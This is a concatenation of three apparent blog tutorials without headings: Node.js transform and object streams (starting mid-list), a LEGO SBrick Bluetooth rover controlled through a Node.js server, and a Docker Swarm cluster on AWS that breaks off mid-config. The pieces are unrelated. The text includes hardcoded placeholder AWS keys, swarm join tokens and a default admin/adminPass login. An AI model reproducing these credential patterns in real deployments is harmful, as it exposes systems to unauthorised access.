2. Usually, in Node.js streams, we pass Buffers with the data from the stream. Coming from process.stdin this is most likely the current line before we press Return. Coming from a file, this can be actually anything. We transform the current Buffer to a string, create the uppercase version, and convert it back to a Buffer again. The callback takes two arguments. The first one is a possible error. The stream will crash and the program will stop the execution if you are not listening to an end event to catch the error. Pass null if everything is okay. The second parameter is the transformed data.
3. We can use this transformable and pipe our input data from the readable to it. The transformed data is piped to our writeable.

This is totally in the vein of functional programming. We can use and reuse the same transformable for every other input or output, as long as it's coming from a readable stream. We don't care about the input source or the output. Also, we are not limited to one single transformable. We can chain as many transformables as we like:

const through2 = require('through2');

const toUpperCase = through2((data, enc, cb) => {
  cb(null, new Buffer(data.toString().toUpperCase()));
});

const dashBetweenWords = through2((data, enc, cb) => {
  cb(null, new Buffer(data.toString().split(' ').join('-')));
});

process.stdin
  .pipe(toUpperCase)
  .pipe(dashBetweenWords)
  .pipe(process.stdout);

If you are familiar with Gulp, the code above should ring some bell. Very similar, isn't it? However, Gulp streams are different in one specific matter: We don't pass data in Buffers, we use plain, old JavaScript objects.

Object streams

In standard streams, it’s usual to see the file just as a possible input source for the real data, which has to be processed. All information on the origin, like the path or filename, is lost once the stream has opened up.

In Gulp, you’re not just working with the contents of one or a few files, you need filename and the origin of the file system as well.

Think of having 20 JavaScript files and wanting to minify them. You’d have to remember each filename separately and keep track of which data belongs to which file to restore a connection once the output (the minified files of the same name) must be saved.

Luckily, Gulp takes care of that for you by creating both a new input source and a data type that can be used for your streams: virtual file objects.

Once a Gulp stream is opened, all the original, physical files are wrapped in such a virtual file object and handled in the virtual file system, or Vinyl, as the corresponding software is called in Gulp.

Vinyl objects, the file objects of your virtual file system, contain two types of information: the path where the file originated, which becomes the file’s name, as well as a stream exposing the file’s contents. Those virtual files are stored in your computer’s memory, known for being the fastest way to process data.

There all the modifications are done that would usually be made on your hard disk. By keeping everything in memory and not having to perform expensive read and write operations in between processes, Gulp can make changes extraordinarily quickly.

Internally, Gulp is using object streams to emit file by file into the processing pipeline. Object streams behave just like normal streams, but instead of Buffers and strings, we pass through plain old JavaScript objects.

We can create our own readable object stream using the readable-stream package:

const through2 = require('through2');
const Readable = require('readable-stream').Readable;

const stream = Readable({objectMode: true});   /* 1 */
stream._read = () => {};                       /* 2 */

setInterval(() => {                            /* 3 */
  stream.push({
    x: Math.random()
  });
}, 100);

const getX = through2.obj((data, enc, cb) => { /* 4 */
  cb(null, `${data.x.toString()}\n`);
});

stream.pipe(getX).pipe(process.stdout);        /* 5 */

1. Important for creating an object readable is to set the objectMode flag to true. In doing so, the stream is capable of passing JavaScript objects through the pipeline. It would expect Buffers or Strings otherwise.
2. Every stream needs a _read function. This function gets called when the stream checks for data. This is the proper place to start other mechanisms around and push new contents to the stream. Since we push data from outside, we don't need this function and can keep it void. However, readable streams need to implement this, otherwise we would get an error.
3. Here we are filling the stream with demo data. Every 100 milliseconds, we push another object with a random number to our stream.
4. Since we want to pipe the results of the object stream to process.stdout, and process.stdout just accepts strings, we have a small transformable where we extract the property from our passed through JavaScript object.
5. We create a pipeline. Our readable object stream pipes all its data to the getX transformable, and finally to the writeable process.stdout

A note on stream packages in Node.js

You might have noticed that we use different stream packages that are installable via NPM. Isn't that odd?

However, the streaming core was constantly subject to change back in the old 0.x days of Node, that's why the community stepped in and created a solid and stable API around the basic packages. With semantic versioning, you can be sure that the streaming ecosystem moves nicely along with your application.

Enough demos. Let's do something real

Alright! Let's go for a small app that reads CSV data and stores them into JSON. We want to use object streams because at some points we might want to change data depending on the use case. Since streams are awesome, we want to be able to push the result to different output formats.

First things first, we install a few packages:

const through2 = require('through2');
const fs = require('fs');
const split = require('split2');

1. We know through2 already. We use this one to create all our transformables.
2. The fs package is obviously for reading and writing files. Cool thing: It allows you to create a readable! Exactly what we need.
3. Since you never know how the data from fs.createReadStream is pulled into your memory, the split2 package makes sure that you can process data line by line. Note the "2" in the name of this transformable. It tells you that it's part of the semantically versioned wrapper ecosystem.

Parse CSV!

CSV is great for parsing because it follows a very easy to understand format: A comma means a new cell. A line means a new row.

Easy.

In this example, the first line is always the heading for our data. So we want to treat the first line in a special way: It will provide the keys for our JSON objects.

const parseCSV = () => {
  let templateKeys = [];
  let parseHeadline = true;
  return through2.obj((data, enc, cb) => {       /* 1 */
    if (parseHeadline) {
      templateKeys = data.toString().split(',');
      parseHeadline = false;
      return cb(null, null);                     /* 2 */
    }

    const entries = data.toString().split(',');
    const obj = {};

    templateKeys.forEach((el, index) => {       /* 3 */
      obj[el] = entries[index];
    });

    return cb(null, obj);                       /* 4 */
  });
};

1. We create a transformable for object streams. Notice the .obj method. Even if your input data is just strings, you need an object stream transformable if you want to emit objects further on.
2. In this block, we parse the headline (comma separated). This is going to be our template for the keys. We remove this line from the stream, that's why we pass null both times.
3. For all other lines, we create an object each through the help of the template keys we parsed earlier.
4. We pass this object through to the next stage.

That's all it needs to create JavaScript objects out of a CSV file!

Changing and adapting data

Once we have everything available in objects, we can transform the data much easier. Delete properties, add new ones; filter, map and reduce. Anything you like. For this example, we want to keep it easy: Pick the first 10 entries:

const pickFirst10 = () => {
  let cnt = 0;
  return through2.obj((data, enc, cb) => {
    if (cnt++ < 10) {
      return cb(null, data);
    }
    return cb(null, null);
  });
};

Again, like in the previous example: Passing data for the second argument of a callback means that we keep the element in the stream. Passing null means that we throw the data away. This is crucial for filters!

Flushing to a JSON

You know what JSON stands for? JavaScript object notation. This is great, because we have JavaScript objects, and we can note them down in a string representation!

So, what we want to do with the objects in our stream is to collect all of them that are passing through, and store them into a single string representation. JSON.stringify comes into mind.

One important thing you have to know when working with streams is that once the object (or Buffer data for that matter) passes through your transformable to the next stage, it's gone for this stage.

This also means that you can pass objects just to one writeable, not more. There is, however, a way of collecting data and doing something different with it. If there's no more data coming through a stream, each transformable calls a flush method.

Think of a sink that's getting filled with fluids.

You are not able to pick every single drop of it and analyze it again. But you can flush the whole thing to the next stage. This is what we're doing with the next transformable toJSON:

const toJSON = () => {
  let objs = [];
  return through2.obj(function(data, enc, cb) {
    objs.push(data);                              /* 1 */
    cb(null, null);
  }, function(cb) {                               /* 2 */
    this.push(JSON.stringify(objs));
    cb();
  });
};

1. We collect all data that's passing through in an array. We remove the objects from our stream.
2. In the second callback method, the flush method, we are transforming the collected data to a JSON string. With this.push (note the classic function notation there), we push this new object to our stream into the next stage. In this example, the new "object" is merely a string. Something that's compatible with standard writeables!

Gulp, for example, uses this behavior when working with concatenation plugins. Reading all files in stage one, and then flushing one single file to the next stage.

Combining everything

Functional programming comes into mind again: Each transformable that we've written in the last couple of lines is completely separated from the others. And they are perfectly reusable for different scenarios, regardless of input data or output format.

The only constraints are in the format of CSV (the first line is the headline) and that pickFirst10 and toJSON need JavaScript objects as input. Let's combine them and put the first ten entries as JSON on our standard console output:

const stream = fs.createReadStream('sample.csv');

stream
  .pipe(split())
  .pipe(parseCSV())
  .pipe(pickFirst10())
  .pipe(toJSON())
  .pipe(process.stdout);

Perfect! We can pipe the whole lot to different writeables, though. In Node.js, the core IO is all compatible with streams. So let's use a quick HTTP server and pipe everything out into the internet:

const http = require('http');

// All from above
const stream = fs.createReadStream('sample.csv')
  .pipe(split())
  .pipe(parseCSV())
  .pipe(pickFirst10())
  .pipe(toJSON())

const server = http.createServer((req, res) => {
  stream.pipe(res);
});

server.listen(8000);

This is the great power of Node.js streams. You have an asynchronous way of dealing with input and output, and you can transform data in independent steps. With object streams, you can leverage JavaScript objects that you know and love to transform your data.

This is the foundation of Gulp as a streaming build system, but also a great tool for your everyday development.

Further reading

If you are hooked on streams, I can recommend a few resources:

• Front-End Tooling with Gulp, Bower and Yeoman obviously. It has some great chapters on streaming tools like merge streams and passthrough streams in the later chapters.
• Fettblog. My blog contains many articles on Gulp and Gulp plugins. Since all Gulp plugins are written as object streams, you can learn one or the other thing from it.
• Substack's streaming handbook. Also known as the source for streams.
• Rod Vagg on core streams. Old, but still good: Rod Vagg's explanation on why to use the NPM packages for streams.

A while ago I had an idea about a Node.js IoT project: Creating a discovery rover to experiment a little bit with LEGO & Bluetooth. So I modded a Technic vehicle, attached a camera and started playing with the communication.

The result is a solution to control the vehicle from the browser and also my first npm package!

In this article, I’ll guide you through the whole process so that you can build yours too!

What do you need for this Node.js IoT project?

1. A LEGO Technic vehicle with batteries and motors

You can be creative on this one, I have a Volvo L350F (42030), but now I think the best deal is the Tracked Racer (42065). But if you decide to build one, remember that you need a battery box and at least two motors for moving and turning.

2. SBrick

This clever thing replaces the LEGO infrared remote control system with Bluetooth Low Energy protocol, so the range is increased and works behind walls too. It’s compatible with all LEGO Technic motors and battery boxes.

3. Raspberry Pi

This will act as the server and control the vehicle. I suggest using a Pi3, because in my experience the Pi2 was unusably slow, and setting up a Bluetooth USB stick was a bit pain in the ass.

4. Phone/action camera with WiFi

You need to see where that thing goes! I’ve used an old Android phone for this purpose. Unfortunately, I could not find a device with Bluetooth video streaming support, the Bluetooth bandwidth may be too low for this, so I think WiFi is your only option.

5. Lots of batteries

You’ll need them for sure :)

6. Bluetooth LE support on your computer

It’s faster to test during development. My ancient ThinkPad had only Bluetooth 2.0, so I bought a LogiLink BT0037 - it works well with the SBrick.

Let’s build something!

You can build anything for the first experiments, just use the SBrick, set up the default application on your phone and play for a few minutes.

You’ll learn which channel controls which motor, whether you have to invert any of the directions, and just get the feeling of the whole thing.

Understanding Bluetooth LE & SBrick functions

Bluetooth LE is available since Bluetooth 4.0, and it uses much less power compared to traditional Bluetooth. In a nutshell, it has a client-server architecture, the BLE device (server) broadcasts advertisement data until a client (notebook, raspberry pi, phone, etc.) connects.

From that point, the client chooses a service and a characteristic (imagine this like an “API endpoint”), where it reads and writes data. The server could also send notifications to the client, like sensor readings.

If you want to dig deeper into this topic, I recommend this article as a start.

In case of SBrick, the protocol is open and available on the manufacturer’s website.

The device has a few services:

• Generic GAP
• Device Information
• OTA services for firmware upgrade
• Remote control service

We’re looking for the remote control service, which has two characteristics:

• Quick Drive: allows remote control with small data packets. Very limited functionality.
• Remote control commands: allows full control, more verbose and slower than quick drive.

For this project I’ve used the full package, Quick Drive is a bit more challenging.

After studying the protocol, you can see that there are more than 40 commands, a few for controlling the drive channels, some others for setting up time limits, device name, reading battery voltage, unit temperature, etc.

The SBrick has security features too, but they are unusable from the mobile application. Fortunately, you can play with them if you want. There are two users, owner and guest, which both can have passwords. In case you don't set a password, everyone connecting to the brick is an owner.

Some commands can only be used by the owner, and you can only set a guest password if you set an owner password before. If you try to execute a command which you are not authorized to, the SBrick disconnects from the Bluetooth client.

A bit about Bluetooth in Node.js

In the node world, the de-facto package for BLE (Bluetooth Low Energy) handling is noble.

This package can scan for peripherals, discover services and characteristics and handle notifications. Writing to a characteristic is pretty straightforward, just use the write() function, but reading is a bit unusual: you have to call write() with your “read command” asynchronously, and after succeeding, call read(). Finally, in the callback function you can access the result.

To install this package, you need to set up Bluetooth correctly. I don’t want to dive into these problems in this article; I’m just suggesting to follow these links if you are stuck:

• all hw & os
• raspberry 1
• raspberry 2

After setting this up and installing noble, just run this to see your SBrick recognized:

node node_modules/noble/examples/advertisement-discovery.js

If it works, you’re over the most difficult part, congratulations!

sbrick-protocol

Based on the SBrick protocol description, I’ve implemented many functions and published it as my first npm package, sbrick-protocol

Let's go through the main features:

1. Recognizing whether a discovered Bluetooth device is an SBrick

This is done in SBrickAdvertisementData.js: parses Bluetooth advertisement data and returns an object with UUID, software and hardware versions and security status, if it’s an SBrick - error otherwise.

2. Handle connection, disconnection, authentication

The advertisement data contains the information, if the device is password-protected, or not. If it is, tries to log in with the specified password. It’s a bit guess-game on my behalf because the protocol description does not explain how to encrypt passwords to fill the 8-byte space available.

In the SBrickPasswordGeneratorMD5.js file, I’m using the first half of an MD5 hash, but you can implement your own too.

3. Creating a promise-based interface to SBrick functions

Currently only the “important” ones are covered, which were necessary to drive, or were easy to implement & test :)

4. Running a loop for drive commands

It’s a bit like a game loop, necessary because if we don’t issue any command for a while after connecting, the SBrick’s watchdog timeout disconnects the device. The idea is to set up a command queue (with promise-queue), and periodically add the drive commands of the four channels, if it’s empty (usually it is).

That keeps the show rolling with the ability to issue a command without waiting too much for the execution. The current interval (200 msec) is a result of my experience, it may be too fast for your setup so feel free to adjust.

5. Query ADC (analogue-to-digital) data

There are voltage and temperature sensors in the device, and if we want to display the current values, we also need to read these. In previous protocol versions, this was done automatically with Bluetooth notifications, but unfortunately since protocol version 17, we have to read them manually. I hope they’ll fix this soon.

So, if you’re ready to test some things, try the example code here.

sbrick-controller

The protocol implementation works, but not too usable in a standalone form, so I’ve created a fully-featured client too, the sbrick controller. You can clone it from here.

The heart of this solution is an express server, using the sbrick-protocol for SBrick communications and socket.io for real-time controls from the browser.

The client is password protected, the default is admin/adminPass - but you can change this with environment variables.

After connecting to your SBrick, you can set up your keyboard shortcuts for every channel, and the configuration will be saved on the server. There is also a custom winston log handler, which emits the log from the server to the browser console via websockets. The red graph is the unit temperature in Celsius, the green represents battery voltage.

It’s time to attach a camera to your vehicle! I’ve used an old Android phone with an app called IP Webcam, works pretty well for this purpose.

Be careful, you will not see the vehicle from the outside, so it’s easy to bump into the wall or furniture, protect your camera, and attach it firmly!

After experimenting a bit, I’d suggest you to add a few more motors to turn and tilt the camera, it’s extremely helpful.

If you enter the address of the live feed (MJPG stream with IP Webcam) into the stream URL input box, it’ll show the output of your camera. You can enter a local address too; the server will act as a proxy to access the feed from the internet.

You are ready to do some serious play now, test how far it can go, whether you have to adjust the main loop interval, how stable is the live feed. If you’re brave enough, start the server on your Raspberry with a node process manager like pm2, open up its port on your router, and log in form your workplace.

But be careful, this software is just a proof-of-concept, does not have much security. I also cannot guarantee that you won’t run over your cat, you have been warned!

Have fun connecting the physical world to the virtual, and don’t forget to submit a PR if you made some improvements to any of these components :)

In part one of this series, we looked at creating a simple microservice and packaging it into a Docker container. We also deployed the container to AWS using Amazon's ECS optimized Linux AMI - which has the Docker engine pre-installed.

In this post, we'll create a Docker Swarm cluster almost entirely from the command line! In the process, we'll deploy multiple services and introduce application and message-based load balancing. We'll continue using Hydra because it has the singular goal of making microservices approachable!

The architecture outlined in this article will be quite scalable - unless of course you're Netflix and have Netflix size problems. In any case, the approach we'll look at here can be further scaled in complexity to accommodate your specific needs.

Let's get started.

We'll begin with the end in mind

Our end-goal is to build an eight-node cluster accessible via an Amazon Application Load Balancer (ALB). Our cluster will accept HTTP traffic and load balance between three master nodes which host our service-aware Application API Gateway, HydraRouter. HydraRouter, itself a microservice, will be the only service listening on port 80. It's responsible for routing service calls to individual services within the cluster.

Hydra-router will only run on master nodes 01 - 03, which are accessible via the ALB. Our microservices will run on worker nodes 01-05. Services running on worker nodes will not publish ports for use outside of the network that the container is running in.

Referring to the above diagram, the master nodes in the Ingress network communicate with one another in support of high availability. If one master node dies, another is elected the active master. We can also scale the cluster adding and removing machines as required.

Each Hydra-router running inside of a master node can communicate with microservices running in containers on the service network. Additionally, each service can communicate with the outside world (external API services) and with its internal peers.

Using Docker swarm mode, we'll be able to deploy and scale our services using simple commands. When adding and removing EC2 instances participating in a swarm, Docker will redistribute our services across the cluster.

Docker is certainly impressive!

AWS setup

We're going to use Amazon Web Services. As in the first part of this series, I have to assume that you're somewhat familiar with AWS. You should be comfortable creating EC2 instances and connecting to them using SSH.

Our initial goal with AWS will be to launch machine instances from the command line. In preparation for this, we'll first create a new IAM role for a programmatic user with AmazonEC2FullAccess credentials.

Make sure to grab the Access Key and Secret Key as you'll need those shortly.

To assist with the creation and configuration of EC2 instances, we'll create a shell script called create-node which uses the docker-machine command to create an EC2 instance and install the Docker engine.

#!/bin/bash

AWS_AK="FAKE-AKIAISQOOR3SGN3RPCBT"
AWS_SK="FAKE-CfZ77GEyomrp7+VmRCX+yq+D6uJoKv8lufbEH8Jl"
AWS_VPC='vpc-{here}'
AWS_REGION='us-east-1'

NODE_NAME=$1
MTYPE=$2
MACHINE_TYPE=${MTYPE:='t2.small'}

docker-machine create --driver amazonec2 \
    --amazonec2-access-key $AWS_AK \
    --amazonec2-secret-key $AWS_SK \
    --amazonec2-vpc-id "${AWS_VPC}" \
    --amazonec2-region "${AWS_REGION}" \
    --amazonec2-instance-type "${MACHINE_TYPE}" \
    ${NODE_NAME}

echo "${NODE_NAME} should be available in a minute."

In this script, we've defined the AWS Access token key AWS_AK and the Secret token key AWS_SK. Replace the fake values shown with the access key and secret key you copied earlier. Additionally, we define the AWS VPC id AWS_VPC and the AWS Region AWS_REGION. Provide values which reflect your Amazon setup. As a best practice, use environment variables to define and export those tokens outside of the script. They're shown here for clarity.

The above script also allows you to specify the type of EC2 instance to use. The default is t2.small but could be t2.micro or larger depending on your needs.

Using the script is as easy as:

$ ./create-node node01 t2.micro

As a complement to the above script, we'll also create a remove_node script.

#!/bin/bash
docker-machine rm -f $1

So we can remove EC2 instances created using remove-node:

$ ./remove_node node01

If you haven't created EC2 instances in this way, then those two scripts will be great takeaways. Read on; there's a whole lot more in store!

Creating EC2 Nodes

As a recap here is the breakdown of the EC2 instances, we'll create.

Using our create-node script we're able to automate the creation and configuration of our EC2 instances.

# create master nodes
#
for i in 1 2 3
do
  ./create-node master0$i t2.small
done

# create worker nodes
#
for i in 1 2 3 4 5
do
  ./create-node worker0$i t2.small
done

PubTip: Consider running each section above in different terminal shells. At this stage, the master and worker nodes don't depend on one another, so you can create them in parallel.

Once the above commands complete, we can view a list of machines.

$ docker-machine ls -t "30"

AWS security group setup

After creating your first EC2 node above you should see a docker-machine security group in the VPC you specified. It's a basic setup suitable for simple uses, but we'll need to update it for use with our swarm.

Here's a summary of the changes we need to make:

• SSH port 22
• TCP port 2377 for cluster management communications
• TCP and UDP port 7946 for communication among nodes
• TCP and UDP port 4789 for overlay network traffic

Your enhanced security group should include the following.

With these changes in place, we can proceed to configure our swarm.

Redis setup

Because our sample microservices use Hydra, we'll need an accessible instance of Redis. Let's look at two ways to address this requirement.

The first and more production friendly method is to use a hosted Redis cluster, such as Amazon's ElasticCache for Redis or the RedisLabs service. The easiest approach will be to head over to RedisLabs and setup a free trial instance. The process takes a few minutes, and you'll end up with a Redis connection string that you can use with your test cluster.

The connection string will look something like this: redis-16122.c1.us-east-1-3.ec2.cloud.redislabs.com:16883 and you add that to your service's config/config.json file.

"redis": {
  "url": "redis://redis-16122.c1.us-east-1-3.ec2.cloud.redislabs.com:16883/0"
}

The second method is the one we saw in the first article in this series. I'll recap the steps here.

First, sign into AWS and navigate over to the EC2 Dashboard. Once there click on the "Launch Instance" button. On the page that loads select the AWS Marketplace tab. You should see a screen like this:

Search for ECS Optimized to locate the Amazon ECS-Optimized AMI. Amazon created this image for use with its EC2 Container Service.

For now, select the ECS-Optimized AMI and create an EC2 t2.micro instance.

There are a few things you'll want to do:

1. Use the Network VPC you selected earlier when you set up the create-node shell script
2. Set Auto-assign Public IP to Enabled
3. Before launching, you'll want to create a security group that allows you to SSH (naturally) and opens the default Redis port (6379) restricted to your laptop. The port will be useful for testing.

You can choose the defaults for the remaining options.

Once the EC2 instance is ready, you can SSH into it to install a Redis container. The following command adds Docker to the ec2-user group and creates a root folder called data, where our Redis data will persist. Finally, we use Docker to pull the Redis 3.0.7 container.

$ sudo usermod -a -G docker ec2-user
$ sudo mkdir /data
$ docker pull redis:3.0.7                    

Next we need to edit the /etc/rc.local file:

$ sudo vi /etc/rc.local

and append the following lines:

docker rm -f redis
docker run -d -p 6379:6379 --restart always -v /data:/data --name redis redis:3.0.7

After saving your changes, you can bounce the box: sudo reboot. On restart, your machine should be running a Redis instance.

Now, I know what you're thinking! - "I should have used RedisLabs" . But seriously, it's not too bad. Besides, using the above method, you'll be able to add other resources such as databases. The resources won't live in our Docker cluster but will be accessible within the same VPC. Again, this is an excellent way to test our cluster, but not recommended for production use.

Testing the Redis setup

You can test access to your Redis instance by obtaining the remote IP address from the EC2 Dashboard.

If you have redis-cli installed you can connect to the instance using:

$ redis-cli -h 52.3.201.66

If you don't have redis-cli installed you can use telnet to interact with Redis:

$ telnet 52.3.201.66 6379

Then type: info. If you received an output listing instead of a connection closed message, then Redis is running.

Creating and configuring the Docker Swarm

We're now ready to set-up our swarm. This process will involve creating a swarm manager and assigning workers. We begin configuring our swarm by requesting the external IP address of our the master01 node.

$ docker-machine ip master01
35.128.252.201

We'll use the machine's IP to initialize our swarm.

$ docker-machine ssh master01
$ sudo docker swarm init --advertise-addr 35.128.252.201:2377
Swarm initialized: current node (f15m9npvwumliqoe6wzor8tvh) is now a manager.

To add a worker to this swarm, run the following command:

    docker swarm join \
    --token SWMTKN-1-2ohfpmuvx34e2o7wzag1qcohoti8layd0vk7ivoebncmw37p9y-ezvmn0oj8a2o1l25l4fyahcn6 \
    35.128.252.201:2377

To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions.

$ docker swarm join-token manager
To add a manager to this swarm, run the following command:

    docker swarm join \
    --token SWMTKN-1-3ohfpmuvx39e2o7wzqg1qdohoti8layg0vk7ivoebncmw37p9y-07zcw2jht968k1td1f8dofcha \
    35.128.252.201:2377

We have two other master nodes to turn into managers. Sadly, they won't get a pay raise.

$ docker-machine ssh master02
$ sudo docker swarm join \
--token SWMTKN-1-3ohfpmuvx39e2o7wzqg1qdohoti8layg0vk7ivoebncmw37p9y-07zcw2jht968k1td1f8dofcha \
35.128.252.201:2377
$ exit

$ docker-machine ssh master03
$ sudo docker swarm join \
--token SWMTKN-1-3ohfpmuvx39e2o7wzqg1qdohoti8layg0vk7ivoebncmw37p9y-07zcw2jht968k1td1f8dofcha \
35.128.252.201:2377
$ exit

From any swarm manager node you can view the status of managers:

$ sudo docker node ls
ID                           HOSTNAME  STATUS  AVAILABILITY  MANAGER STATUS
f15m9npvwumliqoe6wzor8tvh *  master01  Ready   Active        Leader
t77rsrfdrq9u3v4rftldyzsgj    master02  Ready   Active        Reachable
ye7iq8hswgacvkz8il51v6je1    master03  Ready   Active        Reachable

Here we see that our master01 node is the leader, but should something happen to it - one of the other managers will be elected the new leader. If our master01 node later recovers from its untimely accident, it won't resume as the leader, however it will be marked as reachable and eligible for promotion should something happen to another master node.

Now we're ready to configure our worker nodes.

for i in 1 2 3 4 5
do
  docker-machine ssh worker0$i sudo docker swarm join \
  --token SWMTKN-1-2ohfpmuvx34e2o7wzag1qcohoti8layd0vk7ivoebncmw37p9y-ezvmn0oj8a2o1l25l4fyahcn6 \
  35.128.252.201:2377
done

From a manager node, we can see the status of our swarm cluster. We see that our master01 node is the leader, with two managers reachable and waiting in the wings for their shot at a promotion. We also see that none of our worker nodes are managers.

$ sudo docker node ls -t "30"
ID                           HOSTNAME  STATUS  AVAILABILITY  MANAGER STATUS
8caeo3nvjfa5d3jrqamciyijv    worker04  Ready   Active
c4nc3wnr45ii53hli5yomw234    worker03  Ready   Active
dfjrl5767thytai4lz9dfk360    worker05  Ready   Active
f15m9npvwumliqoe6wzor8tvh *  master01  Ready   Active        Leader
fcvzbgziv3ptso1r9egazizqv    worker01  Ready   Active
t77rsrfdrq9u3v4rftldyzsgj    master02  Ready   Active        Reachable
vz489z1vywrthlt4r9bw94zda    worker02  Ready   Active
ye7iq8hswgacvkz8il51v6je1    master03  Ready   Active        Reachable

Swarm networking

At this stage, we have EC2 instances participating in a swarm as either managers or workers. We're now ready to create a network on which each node can communicate. In the containerization world, we call this an overlay network.

$ docker network create servicenet \
  --driver overlay \
  --subnet 10.0.9.0/24

You can list available networks with:

$ docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
7ffba041b5b9        bridge              bridge              local
90d25bc2e419        docker_gwbridge     bridge              local
7af9c7ddd8f6        host                host                local
p5f0bg197oia        ingress             overlay             swarm
e5f86522a1d0        none                null                local
z6vut7t9439u        servicenet          overlay             swarm

Notice that there are two overlay networks, ingress and our newly created servicenet - both have a scope of swarm.

Here is how we'll use these two overlay networks:

The ingress network will be used to receive API and message requests to our service aware router. The servicenet will only receive traffic from the service router and won't be accessible to the outside world.

Swarm visualization service

Wouldn't it be great if we could visualize the services in our Docker swarm? Such a tool might allow us to see the distribution of our services across machines and perhaps we'd be able to see the status of individual services. Now, wouldn't it be great if such a tool came packaged as a container that we could drop into our swarm? Well, I have some good news! Mano Marks has created a handy docker swarm visualizer that we'll install onto a master node. Again, the reason we selected a master node is that we want this container to be remotely accessible.

$ docker-machine ssh master01
$ docker service create \
  --name=viz \
  --publish=8080:8080/tcp \
  --update-delay 10s \
  --constraint=node.role==manager \
  --mount=type=bind,src=/var/run/docker.sock,dst=/var/run/docker.sock \
  manomarks/visualizer

To view it, make sure to open port 8080 on the master nodes using an AWS security group that restricts access to your IP address.

Configuration management revisited

Hydra-based applications are initialized using a JavaScript object which contains the service name, description, IP and Port information and the location of the Redis server that Hydra depends on. Most often that information is loaded from a remote config.json file. In the case of a containerized hydra-based application, you have the option of overriding the packaged config.json file with one mapped to a volume using the -v fragment in the example below:

docker run -d \
  --workdir=/usr/src/app \
  -p 1337:1337 \
  --restart always \
  --add-host host:$HOST \
  --add-host redis:$DBS \
  --name auth-svcs \
  -v /usr/local/etc/auth-svcs:/usr/src/app/config \
  someco/auth-svcs:0.2.7

This can work fine in dockerized deployments which use ECS optimized EC2 images. You simply have to ensure that the config files are present on the machine before running the container.

However, this isn't convenient for use with Docker Swarm since you don't necessarily know what machine your container will run on. And later adding new machines would mean copying over config files. That just won't do!

Starting with hydra 0.15.10 and hydra-express 0.15.11 your hydra service can request its config from your Redis instance. Naturally, that implies that you've loaded the config into Redis in the first place.

To do this, you'll need hydra-cli version 0.5.4 or greater.

$ hydra-cli cfg push hydra-router:1.0.12 config.json

You're expected to provide the service name separated by a version string and a local config.json file whose contents will be uploaded.

Later you can retrieve a stored config using:

$ hydra-cli cfg pull hydra-router:1.0.12 > config.json

This is useful when you want to make changes to an existing config file or when you'd like to upload a new config based on an older copy.

It's worth pointing out that you can still build your microservice with a baked-in config file which has hardcoded entries to the resources your service needs. It's really up to you and the level of automation and flexibility you're after.

Services

We can now use the Docker service create command to push containers into our swarm. In the example below we specify --env HYDRA_REDIS to point to the Redis server the service will use to retrieve its configuration file. In production, the Redis instance would likely be an Amazon Elastic Cache cluster or one at RedisLabs.

$ docker service create \
    --name hydra-router \
    --network servicenet \
    --restart-condition any \
    --restart-max-attempts 5 \    
    --update-delay 10s \
    --constraint=node.role==manager \
    --env HYDRA_REDIS_URL="redis://10.0.0.154:6379/15" \
    --env HYDRA_SERVICE="hydra-router:1.0.12" \
    --publish 80:80 \
    --replicas=3 \
    flywheelsports/hydra-router:1.0.12

A service is added to the ingress network when you use -p or --publish. The act of publishing a port indicates you want the container to be remotely accessible.

$ docker login
$ docker service create \
    --name hello-service \
    --network servicenet \
    --restart-condition any \
    --restart-max-attempts 5 \    
    --update-delay 10s \
    --constraint=node.role==worker \
    --env HYDRA_REDIS_URL="redis://10.0.0.154:6379/15" \
    --env HYDRA_SERVICE="hello-service:0.0.2" \
    --replicas=5 \
    cjus/hello-service:0.0.7

Creating a service which does not use -p or --publish places the service in the servicenet, our private subnet. The service can still listen on a port for inter-service communication.

Both the hydra-router and hello-service containers above are publicly available - if you'd like to try this yourself.

Working with private containers

It's likely that at some point you'll need to use private containers for one or more of your services. To do this, you first sign into a master node and then issue a docker login command.

$ docker login

You can then issue the docker service command with the --with-registry-auth flag to tell Docker to use the credential you provided during the login.

Here's the full command:

$ docker service create \
    --name hello-service \
    --network servicenet \
    --update-delay 10s \
    --restart-condition any \
    --restart-max-attempts 5 \        
    --with-registry-auth \
    --constraint=node.role==worker \
    --env HYDRA_REDIS_URL="redis://10.0.0.154:6379/15" \
    --env HYDRA_SERVICE="my-private-service:0.0.8" \
    --replicas=5 \
    cjus/my-private-service:0.0.8

Removing services

You can remove services using:

$ docker service rm hydra-router
$ docker service rm hello-service

Scaling services

One of the great benefits of using Docker Swarm mode is that you're able to perform other orchestration tasks such as scaling the number of services based on a container type.

Scaling services is a matter of using the Docker service scale command and specifying the service name and the number of required replicas. This allows you to scale a service up or down.

$ docker service scale hydra-router=3

$ docker service scale hydra-router=0

Updating services

You might be wondering what happens when you need to update a running service. Swarm mode allows you to update a running service using the service update command:

$ docker service update \
    --image flywheelsports/hydra-router:1.0.12 \
    hydra-router

To view the versions of your running containers you can use the Docker service ls command:

$ docker service ls
ID            NAME            MODE        REPLICAS  IMAGE
1fs4uji2vs3j  offers-service  replicated  1/1       flywheelsports/offers-service:0.2.1
4r5tbyrmtvi2  hello-service   replicated  1/1       cjus/hello-service:0.0.5
qw7w325zg9e1  hydra-router    replicated  1/1       flywheelsports/hydra-router:1.0.9
tan1qxhlu8sj  viz             replicated  1/1       manomarks/visualizer:latest

A quick test drive

To try all of this out, you'll need to obtain the DNS address of your Amazon ALB from the AWS dashboard.

You can direct traffic to the load balancer doing something like this:

Refreshing the browser page would display different service IDs as the traffic is load balanced to our five hello services. It's worth pointing out the Amazon ALB is load balancing to one of our three HydraRouters which in-turn are load balancing to available hello services.

The Pièce De Résistance

As one of our part-one readers pointed out, and I'm paraphrasing here: "It's not a microservices party until services are speaking with one another" While that's a matter of opinion - it tends to be somewhat true in real world parties. The callout is an important one and the subject of our next and last example.

In an earlier RisingStack post we looked at a silly little microservices game called Hot Potato. In that post, we looked at inter-service messaging using Hydra. Each microservice instance acted as a single player and communicated with other instances to pass a virtual hot potato (aka JSON object) to other services. In the end, the player left holding the hot potato is declared the loser. Yes, it's slightly different from the classic children's games - tailored for services if you will.

We'll grab the code from the earlier repo and update it for use with Docker Swarm. You can view the resulting code here.

Our new hot potato service has a single endpoint /v1/hpp/startgame which will cause the service which receives that request to start a new game. Internally, the hpp-service instances will use hydra messaging (built on redis Pub/Sub) to send non-http messages to one another.

Configuring our player service

{
  "environment": "development",
  "hydra": {
    "serviceName": "hpp-service",
    "serviceIP": "",
    "servicePort": 9000,
